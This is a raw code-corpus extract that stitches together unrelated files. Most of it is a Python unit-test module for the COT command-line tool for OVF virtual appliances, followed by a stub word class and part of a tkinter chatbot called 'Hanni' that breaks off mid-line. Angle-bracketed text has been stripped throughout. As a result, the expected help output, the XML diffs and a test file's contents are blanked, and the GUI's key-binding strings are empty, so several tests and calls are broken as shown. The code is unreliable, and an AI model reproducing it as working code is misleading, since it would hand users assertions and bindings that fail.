StringIO\n\nfrom COT import __version_long__\nfrom COT.tests.ut import COT_UT\nfrom COT.cli import CLI\nfrom COT.data_validation import InvalidInputError\n\n\nclass TestCOTCLI(COT_UT):\n \"\"\"Parent class for CLI test cases.\"\"\"\n\n def setUp(self):\n \"\"\"Test case setup function called automatically prior to each test.\"\"\"\n self.cli = CLI(terminal_width=80)\n self.maxDiff = None\n super(TestCOTCLI, self).setUp()\n\n def tearDown(self):\n \"\"\"Test case cleanup function called automatically after each test.\"\"\"\n # If we set the verbosity of the CLI directly, the CLI logger is on.\n # The CLI normally turns the logger back off at the end of cli.main()\n # but in some of our CLI test cases we don't call cli.main(), so\n # to prevent leakage of logs, we clean up manually if needed.\n if self.cli.master_logger:\n self.cli.master_logger.removeHandler(self.cli.handler)\n self.cli.master_logger = None\n self.cli.handler.close()\n self.cli.handler = None\n super(TestCOTCLI, self).tearDown()\n\n def call_cot(self, argv, result=0, fixup_args=True):\n \"\"\"Invoke COT CLI, capturing stdout and stderr, and check the rc.\n\n In the case of an incorrect rc, the test will fail.\n Otherwise, will return the combined stdout/stderr.\n \"\"\"\n rc = -1\n if fixup_args:\n argv = ['--quiet'] + argv\n _si = sys.stdin\n _so = sys.stdout\n _se = sys.stderr\n try:\n with open(os.devnull, 'w') as devnull:\n sys.stdin = devnull\n sys.stdout = StringIO.StringIO()\n sys.stderr = sys.stdout\n rc = self.cli.run(argv)\n except SystemExit as se:\n rc = se.code\n try:\n rc = int(rc)\n except (TypeError, ValueError):\n print(rc, file=sys.stderr)\n rc = 1\n finally:\n sys.stdin = _si\n stdout = sys.stdout.getvalue()\n sys.stdout = _so\n sys.stderr = _se\n\n self.assertEqual(rc, result,\n \"\\nargv: {0}\\nstdout:\\n{1}\"\n .format(\" \".join(argv), stdout))\n return stdout\n\n\nclass TestCLIModule(TestCOTCLI):\n \"\"\"Test cases for the CLI module itself.\"\"\"\n\n def setUp(self):\n \"\"\"Test case setup function called automatically prior to each test.\"\"\"\n super(TestCLIModule, self).setUp()\n\n def test_apis_without_force(self):\n \"\"\"Test confirm, confirm_or_die, etc. without --force option.\"\"\"\n self.cli.force = False\n\n self.cli.input = lambda _: 'y'\n self.assertTrue(self.cli.confirm(\"prompt\"))\n self.cli.confirm_or_die(\"prompt\")\n\n self.cli.input = lambda _: 'n'\n self.assertFalse(self.cli.confirm(\"prompt\"))\n self.assertRaises(SystemExit, self.cli.confirm_or_die, \"prompt\")\n\n self.cli.input = lambda _: 'hello'\n self.assertEqual(\"hello\", self.cli.get_input(\"Prompt:\", \"goodbye\"))\n\n # get_input and confirm return default value if no user input\n self.cli.input = lambda _: ''\n self.assertTrue(self.cli.confirm(\"prompt\"))\n self.assertEqual(\"goodbye\", self.cli.get_input(\"Prompt:\", \"goodbye\"))\n\n # confirm will complain and loop until receiving valid input\n self.first_call = True\n\n def not_at_first(*args):\n if self.first_call:\n self.first_call = False\n return 'dunno'\n return 'y'\n self.cli.input = not_at_first\n tmp = sys.stdout\n try:\n with open(os.devnull, 'w') as devnull:\n sys.stdout = devnull\n self.assertTrue(self.cli.confirm(\"prompt\"))\n finally:\n sys.stdout = tmp\n\n self.cli.getpass = lambda _: 'password'\n self.assertEqual(\"password\", self.cli.get_password(\"user\", \"host\"))\n\n def test_apis_with_force(self):\n \"\"\"Test confirm, confirm_or_die, etc with --force option.\"\"\"\n # When --force is set, CLI uses defaults and does not read user input\n self.cli.force = True\n self.cli.set_verbosity(logging.ERROR)\n\n self.cli.input = lambda _: 'y'\n self.assertTrue(self.cli.confirm(\"prompt\"))\n self.cli.confirm_or_die(\"prompt\")\n\n self.cli.input = lambda _: 'n'\n self.assertTrue(self.cli.confirm(\"prompt\"))\n self.cli.confirm_or_die(\"prompt\")\n\n self.cli.input = lambda _: 'hello'\n self.assertEqual(\"goodbye\", self.cli.get_input(\"Prompt:\", \"goodbye\"))\n\n # CLI doesn't provide a default password if --force\n self.cli.getpass = lambda _: 'password'\n self.assertRaises(InvalidInputError,\n self.cli.get_password, \"user\", \"host\")\n\n def test_fill_usage(self):\n \"\"\"Test fill_usage() API.\"\"\"\n self.maxDiff = None # show full diffs in case of failure\n usage = [\"PACKAGE -p KEY1=VALUE1 [KEY2=VALUE2 ...] [-o OUTPUT]\",\n \"PACKAGE -c CONFIG_FILE [-o OUTPUT]\",\n \"PACKAGE [-o OUTPUT]\"]\n\n self.cli._terminal_width = 100\n self.assertMultiLineEqual(\n self.cli.fill_usage(\"edit-properties\", usage), \"\"\"\n cot edit-properties --help\n cot edit-properties PACKAGE -p KEY1=VALUE1 [KEY2=VALUE2 ...] \\\n[-o OUTPUT]\n cot edit-properties PACKAGE -c CONFIG_FILE [-o OUTPUT]\n cot edit-properties PACKAGE [-o OUTPUT]\"\"\")\n\n self.cli._terminal_width = 80\n self.assertMultiLineEqual(\n self.cli.fill_usage(\"edit-properties\", usage), \"\"\"\n cot edit-properties --help\n cot edit-properties PACKAGE -p KEY1=VALUE1 [KEY2=VALUE2 ...]\n [-o OUTPUT]\n cot edit-properties PACKAGE -c CONFIG_FILE [-o OUTPUT]\n cot edit-properties PACKAGE [-o OUTPUT]\"\"\")\n\n self.cli._terminal_width = 60\n self.assertMultiLineEqual(\n self.cli.fill_usage(\"edit-properties\", usage), \"\"\"\n cot edit-properties --help\n cot edit-properties PACKAGE -p KEY1=VALUE1\n [KEY2=VALUE2 ...] [-o OUTPUT]\n cot edit-properties PACKAGE -c CONFIG_FILE\n [-o OUTPUT]\n cot edit-properties PACKAGE [-o OUTPUT]\"\"\")\n\n self.cli._terminal_width = 40\n self.assertMultiLineEqual(\n self.cli.fill_usage(\"edit-properties\", usage), \"\"\"\n cot edit-properties --help\n cot edit-properties PACKAGE\n -p KEY1=VALUE1 [KEY2=VALUE2 ...]\n [-o OUTPUT]\n cot edit-properties PACKAGE\n -c CONFIG_FILE [-o OUTPUT]\n cot edit-properties PACKAGE\n [-o OUTPUT]\"\"\")\n\n def test_fill_examples(self):\n \"\"\"Test fill_examples() API.\"\"\"\n self.maxDiff = None\n examples = [\n (\"Deploy to vSphere/ESXi server 192.0.2.100 with credentials\"\n \" admin/admin, creating a VM named 'test' from foo.ova.\",\n 'cot deploy foo.ova esxi 192.0.2.100 -u admin -p admin -n test'),\n (\"Deploy to vSphere/ESXi server 192.0.2.100, with username\"\n \" admin (prompting the user to input a password at runtime),\"\n \" creating a VM based on profile '1CPU-2.5GB' in foo.ova.\",\n 'cot deploy foo.ova esxi 192.0.2.100 -u admin -c 1CPU-2.5GB'),\n ]\n\n self.cli._terminal_width = 100\n self.assertMultiLineEqual(\"\"\"\\\nExamples:\n Deploy to vSphere/ESXi server 192.0.2.100 with credentials admin/admin, \\\ncreating a VM named\n 'test' from foo.ova.\n\n cot deploy foo.ova esxi 192.0.2.100 -u admin -p admin -n test\n\n Deploy to vSphere/ESXi server 192.0.2.100, with username admin (prompting \\\nthe user to input a\n password at runtime), creating a VM based on profile '1CPU-2.5GB' in \\\nfoo.ova.\n\n cot deploy foo.ova esxi 192.0.2.100 -u admin -c 1CPU-2.5GB\"\"\",\n self.cli.fill_examples(examples))\n\n self.cli._terminal_width = 80\n self.assertMultiLineEqual(\"\"\"\\\nExamples:\n Deploy to vSphere/ESXi server 192.0.2.100 with credentials admin/admin,\n creating a VM named 'test' from foo.ova.\n\n cot deploy foo.ova esxi 192.0.2.100 -u admin -p admin -n test\n\n Deploy to vSphere/ESXi server 192.0.2.100, with username admin (prompting \\\nthe\n user to input a password at runtime), creating a VM based on profile\n '1CPU-2.5GB' in foo.ova.\n\n cot deploy foo.ova esxi 192.0.2.100 -u admin -c 1CPU-2.5GB\"\"\",\n self.cli.fill_examples(examples))\n\n self.cli._terminal_width = 60\n self.assertMultiLineEqual(\"\"\"\\\nExamples:\n Deploy to vSphere/ESXi server 192.0.2.100 with\n credentials admin/admin, creating a VM named 'test' from\n foo.ova.\n\n cot deploy foo.ova esxi 192.0.2.100 -u admin \\\\\n -p admin -n test\n\n Deploy to vSphere/ESXi server 192.0.2.100, with username\n admin (prompting the user to input a password at\n runtime), creating a VM based on profile '1CPU-2.5GB' in\n foo.ova.\n\n cot deploy foo.ova esxi 192.0.2.100 -u admin \\\\\n -c 1CPU-2.5GB\"\"\", self.cli.fill_examples(examples),)\n\n self.cli._terminal_width = 40\n self.assertMultiLineEqual(\"\"\"\\\nExamples:\n Deploy to vSphere/ESXi server\n 192.0.2.100 with credentials\n admin/admin, creating a VM named\n 'test' from foo.ova.\n\n cot deploy foo.ova esxi \\\\\n 192.0.2.100 -u admin \\\\\n -p admin -n test\n\n Deploy to vSphere/ESXi server\n 192.0.2.100, with username admin\n (prompting the user to input a\n password at runtime), creating a VM\n based on profile '1CPU-2.5GB' in\n foo.ova.\n\n cot deploy foo.ova esxi \\\\\n 192.0.2.100 -u admin \\\\\n -c 1CPU-2.5GB\"\"\",\n self.cli.fill_examples(examples))\n\n\nclass TestCLIGeneral(TestCOTCLI):\n \"\"\"CLI Test cases for top-level \"cot\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot.\"\"\"\n o1 = self.call_cot(['-h'])\n o2 = self.call_cot(['--help'])\n self.assertMultiLineEqual(o1, o2)\n self.assertMultiLineEqual(\"\"\"\nusage: \n cot --help\n cot --version\n cot help \n cot --help\n cot \n\n{0}\nA tool for editing Open Virtualization Format (.ovf, .ova) virtual appliances,\nwith a focus on virtualized network appliances such as the Cisco CSR 1000V and\nCisco IOS XRv platforms.\n\noptional arguments:\n -h, --help show this help message and exit\n -V, --version show program's version number and exit\n -f, --force Perform requested actions without prompting for\n confirmation\n -q, --quiet Quiet output and logging (warnings and errors only)\n -v, --verbose Verbose output and logging\n -d, -vv, --debug Debug (most verbose) output and logging\n\ncommands:\n \n add-disk Add a disk image to an OVF package and map it as a disk in\n the guest environment\n add-file Add a file to an OVF package\n deploy Create a new VM on the target hypervisor from the given\n OVF or OVA\n edit-hardware Edit virtual machine hardware properties of an OVF\n edit-product Edit product info in an OVF\n edit-properties\n Edit environment properties of an OVF\n help Print help for a command\n info Generate a description of an OVF package\n inject-config Inject a configuration file into an OVF package\n install-helpers\n Install/verify COT manual pages and any third-party helper\n programs that COT may require\n \"\"\".format(__version_long__) # noqa - trailing whitespace above is OK\n .strip(), o1.strip())\n\n def test_version(self):\n \"\"\"Verify --version command.\"\"\"\n self.call_cot(['-V'])\n self.call_cot(['--version'])\n\n def test_incomplete_cli(self):\n \"\"\"Verify command with no subcommand is not valid.\"\"\"\n # No args at all\n self.call_cot([], result=2)\n # Optional args but no subcommand\n self.call_cot(['-f', '-v'], fixup_args=False, result=2)\n\n def test_verbosity(self):\n \"\"\"Verify various verbosity options and their effect on logging.\"\"\"\n self.logging_handler.flush()\n\n # Default verbosity is INFO\n self.call_cot(['info', self.invalid_ovf], fixup_args=False)\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='ERROR'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='WARNING'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='INFO'))\n self.assertEqual(\n [], self.logging_handler.logs(levelname='VERBOSE'))\n self.assertEqual(\n [], self.logging_handler.logs(levelname='DEBUG'))\n self.logging_handler.flush()\n\n # -v/--verbose gives VERBOSE\n for OPT in ['-v', '--verbose']:\n self.call_cot([OPT, 'info', self.invalid_ovf], fixup_args=False)\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='ERROR'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='WARNING'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='INFO'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='VERBOSE'))\n self.assertEqual(\n [], self.logging_handler.logs(levelname='DEBUG'))\n self.logging_handler.flush()\n\n # -vv/-d/--debug gives DEBUG\n for OPT in ['-vv', '-d', '--debug']:\n self.call_cot([OPT, 'info', self.invalid_ovf], fixup_args=False)\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='ERROR'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='WARNING'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='INFO'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='VERBOSE'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='DEBUG'))\n self.logging_handler.flush()\n\n # -q/--quiet gives WARNING\n for OPT in ['-q', '--quiet']:\n self.call_cot([OPT, 'info', self.invalid_ovf], fixup_args=False)\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='ERROR'))\n self.assertNotEqual(\n [], self.logging_handler.logs(levelname='WARNING'))\n self.assertEqual(\n [], self.logging_handler.logs(levelname='INFO'))\n self.assertEqual(\n [], self.logging_handler.logs(levelname='VERBOSE'))\n self.assertEqual(\n [], self.logging_handler.logs(levelname='DEBUG'))\n self.logging_handler.flush()\n\n\nclass TestCLIAddDisk(TestCOTCLI):\n \"\"\"CLI test cases for \"cot add-disk\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot add-disk.\"\"\"\n self.call_cot(['add-disk', \"-h\"])\n\n def test_invalid_args(self):\n \"\"\"Testing various missing or incorrect parameters.\"\"\"\n disk_path = self.blank_vmdk\n # No disk or VM specified\n self.call_cot(['add-disk'], result=2)\n # Disk but no VM\n self.call_cot(['add-disk', disk_path], result=2)\n # Nonexistent VM specified\n self.call_cot(['add-disk', disk_path, '/foo'], result=2)\n # Incorrect type parameter\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-t', 'dvd'],\n result=2)\n # Incorrect controller parameter\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-c', 'ata'],\n result=2)\n # Incorrectly formatted address parameter\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-c', 'ide',\n '-a', \"1\"], result=2)\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-c', 'ide',\n '-a', \":1\"], result=2)\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-c', 'ide',\n '-a', \"1600 Pennsylvania Avenue\"], result=2)\n # Correctly formatted but out-of-range address parameters:\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-c', 'ide',\n '-a', \"2:0\"], result=2)\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-c', 'ide',\n '-a', \"0:2\"], result=2)\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-c', 'scsi',\n '-a', \"4:0\"], result=2)\n self.call_cot(['add-disk', disk_path, self.input_ovf, '-c', 'scsi',\n '-a', \"0:16\"], result=2)\n\n # Missing strings\n for param in ['-f', '-t', '-c', '-a', '-s', '-d', '-n']:\n self.call_cot(['add-disk', disk_path, self.input_ovf, param],\n result=2)\n # Package file exists but filename shows it is not an OVF/OVA\n self.call_cot(['add-disk', disk_path, disk_path], result=2)\n # Package file claims to be an OVF/OVA, but is not actually XML.\n fake_file = os.path.join(self.temp_dir, \"foo.ovf\")\n with open(fake_file, 'w') as f:\n f.write(\"< hello world!\")\n self.call_cot(['add-disk', disk_path, fake_file], result=2)\n # Package file claims to be an OVF/OVA, but is some other XML.\n with open(fake_file, 'w') as f:\n f.write(\"\")\n self.call_cot(['add-disk', disk_path, fake_file], result=2)\n\n def test_nonexistent_file(self):\n \"\"\"Pass in a file or VM that doesn't exist.\"\"\"\n # Disk exists but VM does not\n self.call_cot(['add-disk', self.blank_vmdk, '/foo/bar.ovf'], result=2)\n # VM exists but disk does not\n self.call_cot(['add-disk', '/foo/bar.vmdk', self.input_ovf],\n result=2)\n\n def test_unknown_filetype(self):\n \"\"\"Pass in a file that is not obviously a CDROM or hard disk.\"\"\"\n # Unknown extension\n mystery_file = os.path.join(self.temp_dir, \"foo.bar\")\n open(mystery_file, 'a').close()\n self.call_cot(['add-disk', mystery_file, self.input_ovf,\n '-o', self.temp_file],\n result=2)\n # No extension\n mystery_file = os.path.join(self.temp_dir, \"foo\")\n open(mystery_file, 'a').close()\n self.call_cot(['add-disk', mystery_file, self.input_ovf,\n '-o', self.temp_file],\n result=2)\n\n\nclass TestCLIAddFile(TestCOTCLI):\n \"\"\"CLI test cases for \"cot add-file\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot add-file.\"\"\"\n self.call_cot(['add-file', \"-h\"])\n\n def test_invalid_args(self):\n \"\"\"Test various missing or incorrect parameters.\"\"\"\n # No file or VM specified\n self.call_cot(['add-file'], result=2)\n # File but no VM\n self.call_cot(['add-file', self.blank_vmdk], result=2)\n # Nonexistent VM specified\n self.call_cot(['add-file', self.blank_vmdk, '/foo'], result=2)\n # Missing strings\n for param in ['-f']:\n self.call_cot(['add-file', self.blank_vmdk, self.input_ovf, param],\n result=2)\n\n def test_nonexistent_file(self):\n \"\"\"Pass in a file or VM that doesn't exist.\"\"\"\n # Disk exists but VM does not\n self.call_cot(['add-file', self.blank_vmdk, '/foo/bar.ovf'], result=2)\n # VM exists but disk does not\n self.call_cot(['add-file', '/foo/bar.vmdk', self.input_ovf],\n result=2)\n\n\nclass TestCLIEditHardware(TestCOTCLI):\n \"\"\"CLI test cases for \"cot edit-hardware\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot edit-hardware.\"\"\"\n self.call_cot(['edit-hardware', \"-h\"])\n\n def test_invalid_args(self):\n \"\"\"Test various missing or incorrect parameters.\"\"\"\n # No VM specified\n self.call_cot(['edit-hardware'], result=2)\n # Nonexistent VM specified\n self.call_cot(['edit-hardware', '/foo', '-o', self.temp_file],\n result=2)\n\n base_args = ['edit-hardware', self.input_ovf,\n '-o', self.temp_file]\n # Arguments missing values\n for arg in ['-p', '--profile', '-c', '--cpus',\n '-m', '--memory', '-n', '--nics',\n '-N', '--nic-networks',\n '--nic-type', '--nic-count',\n '-M', '--mac-addresses-list',\n '-s', '--serial-ports', '-S', '--serial-connectivity',\n '--scsi-subtype', '--ide-subtype',\n '-v', '--virtual-system-type']:\n self.call_cot(base_args + [arg], result=2)\n # Invalid profile string\n self.call_cot(base_args + ['-p', '2 CPUs, 2 GB RAM'], result=2)\n # Invalid CPUs value\n for arg in ['-c', '--cpus']:\n self.call_cot(base_args + [arg, '0'], result=2)\n # Invalid memory value\n self.call_cot(base_args + ['-m', '512k'], result=2)\n self.call_cot(base_args + ['--memory', '0'], result=2)\n # Invalid MAC address\n self.call_cot(base_args + ['-M', 'fe:fi:f0:ff:ff:ff'], result=2)\n # Invalid NIC type\n self.call_cot(base_args + ['--nic_type', 'GLENN'], result=2)\n\n\nclass TestCLIEditProduct(TestCOTCLI):\n \"\"\"CLI test cases for \"cot edit-product\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot edit-product.\"\"\"\n self.call_cot(['edit-product', \"-h\"])\n\n def test_invalid_args(self):\n \"\"\"Test various missing or incorrect parameters.\"\"\"\n # No VM specified\n self.call_cot(['edit-product'], result=2)\n # Nonexistent VM specified\n self.call_cot(['edit-product', '/foo'], result=2)\n # Missing strings\n self.call_cot(['edit-product', self.input_ovf, '-v'], result=2)\n self.call_cot(['edit-product', self.input_ovf, '-V'], result=2)\n self.call_cot(['edit-product', self.input_ovf, '-V', '-v'], result=2)\n\n\nclass TestCLIEditProperties(TestCOTCLI):\n \"\"\"CLI test cases for \"cot edit-properties\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot edit-properties.\"\"\"\n self.call_cot(['edit-properties', '-h'])\n\n def test_invalid_args(self):\n \"\"\"Test various missing or incorrect parameters.\"\"\"\n # No VM specified\n self.call_cot(['edit-properties'], result=2)\n # Nonexistent VM specified\n self.call_cot(['edit-properties', '/foo'], result=2)\n # Missing strings\n self.call_cot(['edit-properties', self.input_ovf, '--config-file'],\n result=2)\n self.call_cot(['edit-properties', self.input_ovf, '--properties'],\n result=2)\n self.call_cot(['edit-properties', self.input_ovf, '--output'],\n result=2)\n # Nonexistent files\n self.call_cot(['edit-properties', self.input_ovf, '--config-file',\n '/foo'], result=2)\n # Bad input format\n self.call_cot(['edit-properties', self.input_ovf, '--properties', 'x'],\n result=2)\n self.call_cot(['edit-properties', self.input_ovf, '--properties', '='],\n result=2)\n self.call_cot(['edit-properties', self.input_ovf, '--properties',\n '=foo'], result=2)\n\n def test_set_property_valid(self):\n \"\"\"Variant property setting syntax, exercising CLI nargs/append.\"\"\"\n for args in (['-p', 'login-username=admin', # Individual\n '-p', 'login-password=cisco123',\n '-p', 'enable-ssh-server=1'],\n ['-p', 'login-username=admin', # All for one\n 'login-password=cisco123',\n 'enable-ssh-server=1'],\n ['-p', 'login-username=admin', # Mixed!\n '-p', 'login-password=cisco123',\n 'enable-ssh-server=1'],\n ['-p', 'login-username=admin', # Differently mixed!\n 'login-password=cisco123',\n '-p', 'enable-ssh-server=1']):\n self.call_cot(['edit-properties', self.input_ovf,\n '-o', self.temp_file] + args)\n self.check_diff(\"\"\"\n 1. Bootstrap Properties\n- \n+ \n Login Username\n...\n \n- \n+ \n Login Password\n...\n 2. Features\n- \n+ \n Enable SSH Login\n\"\"\")\n\n\nclass TestCLIHelp(TestCOTCLI):\n \"\"\"CLI test cases for \"cot help\" command.\"\"\"\n\n def test_help_positive(self):\n \"\"\"Positive tests for cot help.\"\"\"\n self.call_cot(['help'])\n self.call_cot(['help', 'add-disk'])\n self.call_cot(['help', 'add-file'])\n self.call_cot(['help', 'deploy'])\n self.call_cot(['help', 'edit-hardware'])\n self.call_cot(['help', 'edit-product'])\n self.call_cot(['help', 'edit-properties'])\n self.call_cot(['help', 'help'])\n self.call_cot(['help', 'info'])\n self.call_cot(['help', 'inject-config'])\n\n def test_help_negative(self):\n \"\"\"Negative tests for cot help.\"\"\"\n self.call_cot(['help', 'frobozz'], result=2)\n self.call_cot(['help', 'add-disk', 'add-file'], result=2)\n\n\nclass TestCLIInfo(TestCOTCLI):\n \"\"\"CLI test cases for \"cot info\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot info.\"\"\"\n self.call_cot(['info', \"-h\"])\n\n\nclass TestCLIInjectConfig(TestCOTCLI):\n \"\"\"CLI test cases for \"cot inject-config\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot inject-config.\"\"\"\n self.call_cot(['inject-config', '-h'])\n\n def test_invalid_args(self):\n \"\"\"Test various missing or incorrect parameters.\"\"\"\n # No VM specified\n self.call_cot(['inject-config'], result=2)\n # Nonexistent VM specified\n self.call_cot(['inject-config', '/foo'], result=2)\n # Missing strings\n self.call_cot(['inject-config', self.input_ovf, '-c'], result=2)\n self.call_cot(['inject-config', self.input_ovf, '-s'], result=2)\n # Nonexistent config files\n self.call_cot(['inject-config', self.input_ovf,\n '-c', '/foo'], result=2)\n self.call_cot(['inject-config', self.input_ovf,\n '-s', '/foo'], result=2)\n\n\nclass TestCLIDeploy(TestCOTCLI):\n \"\"\"CLI test cases for \"cot deploy\" command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot deploy.\"\"\"\n self.call_cot(['deploy', '-h'])\n\n def test_invalid_args(self):\n \"\"\"Negative testing for cot deploy CLI.\"\"\"\n # No VM specified\n self.call_cot(['deploy'], result=2)\n # VM does not exist\n self.call_cot(['deploy', '/foo'], result=2)\n # Hypervisor not specified\n self.call_cot(['deploy', self.input_ovf], result=2)\n # Invalid hypervisor\n self.call_cot(['deploy', self.input_ovf, 'MyHypervisor'], result=2)\n\n\nclass TestCLIDeployESXi(TestCOTCLI):\n \"\"\"CLI test cases for 'cot deploy PACKAGE esxi' command.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot deploy ... esxi.\"\"\"\n self.call_cot(['deploy', self.input_ovf, '-h'])\n\n def test_invalid_args_no_locator(self):\n \"\"\"Negative test: no locator specified.\"\"\"\n self.call_cot(['deploy', self.input_ovf, 'esxi'],\n result=2)\n\n def test_invalid_args_no_password_noninteractive(self):\n \"\"\"No password specified - required if running noninteractively.\"\"\"\n self.call_cot(['deploy', self.minimal_ovf, 'esxi', 'localhost'],\n result=2)\n\n def test_invalid_args_missing_strings(self):\n \"\"\"Negative test: Missing strings.\"\"\"\n for param in ['-c', '-n', '-N', '-u', '-p', '-d', '-o']:\n self.call_cot(['deploy', self.input_ovf, 'esxi', 'localhost',\n '-p', 'password', param],\n result=2)\n\n def test_invalid_args_invalid_configuration(self):\n \"\"\"Negative test: Invalid configuration profile.\"\"\"\n self.call_cot(['deploy', self.input_ovf, 'esxi', 'localhost',\n '-p', 'password', '-c', 'nonexistent'],\n result=2)\n\n def test_invalid_args_too_many_serial(self):\n \"\"\"Negative test: ESXi maxes at 4 serial ports.\"\"\"\n self.call_cot(['deploy', self.input_ovf, 'esxi', 'localhost',\n '-S', 'tcp::2001', '-S', 'tcp::2002', '-S', 'tcp::2003',\n '-S', 'tcp::2004', '-S', 'tcp::2005'],\n result=2)\n\n\nclass TestCLIInstallHelpers(TestCOTCLI):\n \"\"\"CLI test cases for 'COT install-helpers' subcommand.\"\"\"\n\n def test_help(self):\n \"\"\"Verify help menu for cot install-helpers.\"\"\"\n self.call_cot(['install-helpers', '-h'])\n\n def test_invalid_args(self):\n \"\"\"Invalid combinations of arguments.\"\"\"\n # Mutually exclusive\n self.call_cot(['install-helpers', '--ignore-errors', '--verify-only'],\n result=2)\n","sub_path":"COT/tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":31275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"372156381","text":"\n\nfrom xai.brain.wordbase.verbs._pair import _PAIR\n\n#calss header\nclass _PAIRED(_PAIR, ):\n\tdef __init__(self,): \n\t\t_PAIR.__init__(self)\n\t\tself.name = \"PAIRED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"pair\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_paired.py","file_name":"_paired.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"272767145","text":"#!/usr/bin/env python3\n\nfrom tkinter import scrolledtext as st\nimport tkinter as tk\nimport platform\nimport random\nimport os\n\nclass Hanni:\n\t'Bot class for bot that acts like Hanni'\n\t#variables\n\tname = \"Hanni\"\n\ttitle = \"Little Miss Sunshine\"\n\thello = \"Hei :)\"\n\n\t#os dependent variables\n\tentry_width_unix = 55\n\tsend_width_unix = 10\n\tentry_width_win = 70\n\tsend_width_win = 18\n\n\t#width defaults\n\tentry_width = 55\n\tsend_width = 10\n\n\t#answer-set\n\tanswers = list(range(12))\n\tanswers[0]=\"Oh maaan :))\";\n\tanswers[1]=\":))\";\n\tanswers[2]=\"Ok:))\";\n\tanswers[3]=\"Grassy ass :p\";\n\tanswers[4]=\"Nice :))\";\n\tanswers[5]=\"Mach das :))\";\n\tanswers[6]=\"Ka :))\";\n\tanswers[7]=\"Passt:))\";\n\tanswers[8]=\":)) beschte\";\n\tanswers[9]=\"Jap:))\";\n\tanswers[10]=\"Oh my :))\";\n\tanswers[11]=\"Made my day :))\";\n\t\n\t#constructor\n\tdef __init__(self, master):\n\t\tself.master = master\n\t\tmaster.title(self.title)\n\n\t\tif \"Windows\" in platform.system():\n\t\t\tself.entry_width = self.entry_width_win\n\t\t\tself.send_width = self.send_width_win\n\n\t\tgreeting = self.name+\": \"+self.hello\n\t\tself.avowly = tk.PhotoImage(file=\"avatars/hanni\")\n\t\tself.avatar = tk.Label(self.master, image=self.avowly)\n\t\tself.avatar.image = self.avowly\n\t\tself.avatar.grid(row=0, column=0, rowspan=5)\n\t\tself.owlyChat = st.ScrolledText(self.master, width=80, height=30, state=tk.NORMAL)\n\t\tself.owlyChat.grid(row=1, column=1, rowspan=10, columnspan=4)\n\t\tself.owlyChat.insert(tk.INSERT, greeting)\n\t\tself.owlyChat.config(state=tk.DISABLED)\n\t\tself.owlyChat.see('end')\n\t\tself.owlyEntry = tk.Entry(self.master, width=self.entry_width)\n\t\tself.owlyEntry.grid(row=11, column=1, rowspan=2, columnspan=3)\n\t\tself.owlySend = tk.Button(self.master, text=\"Send!\", command=self.callbackOwly, width=self.send_width)\n\t\tself.owlySend.grid(row=11, column=4, rowspan=2, columnspan=1)\n\n\t\tmaster.bind(\"\", self.callbackOwly)\n\t\tmaster.bind(\"\", self.help)\n\n\t#functions\n\tdef help(self, event=None):\n\t\thelpFile = open(\"bin/system/help/help\", \"r\")\n\t\thelpFileContent = helpFile.read()\n\t\thelpFile.close()\n\n\t\thelp_window = tk.Toplevel()\n\t\thelp_window.title(\"Help\")\n\t\thelpMessage = st.ScrolledText(help_window, width=160, height=40, state=tk.NORMAL)\n\t\thelpMessage.grid(row=0, column=0)\n\t\thelpMessage.insert(tk.INSERT, helpFileContent)\n\t\thelpMessage.config(state=tk.DISABLED)\n\n\t#eventfunction\n\tdef callbackOwly(self, event=None):\n \n\t\tentryText = self.owlyEntry.get()\n\t\tself.owlyEntry.delete(0, \"end\")\n\t\t#answers-start\n\t\n\t\trandomNumber = random.randint(0, 11)\n\n\t\tif \"nikon\" in entryText:\n\t\t\twriteContentOwly = \"Hanni: *cheated wieder einmal beim Nikon-Fotowettbewerb :P *\" \n\t\telif \"training\" in entryText:\n\t\t\twriteContentOwly = \"Hanni: *arbeitet ihren BBG-Trainingsplan von Kayla Itsines ab - Puuuh :> *\"\n\t\telif \"shirt\" in entryText:\n\t\t\twriteContentOwly = \"#####***************************************************######\\n##### Hanni lightens up your world like nobody else :) ######\\n#####___________________________________________________######\"\n\t\telif \"putin\" in entryText:\n\t\t\twriteContentOwly = \"Hanni: *Hanni trinkt mit dir und Putin einen Tee :) *\"\n\t\telif \"tschuess\" in entryText:\n\t\t\twriteContentOwly = \"Hanni: Wir hoern uns Y\"\n\t\telse:\n\t\t\tanswer = \"Hanni: 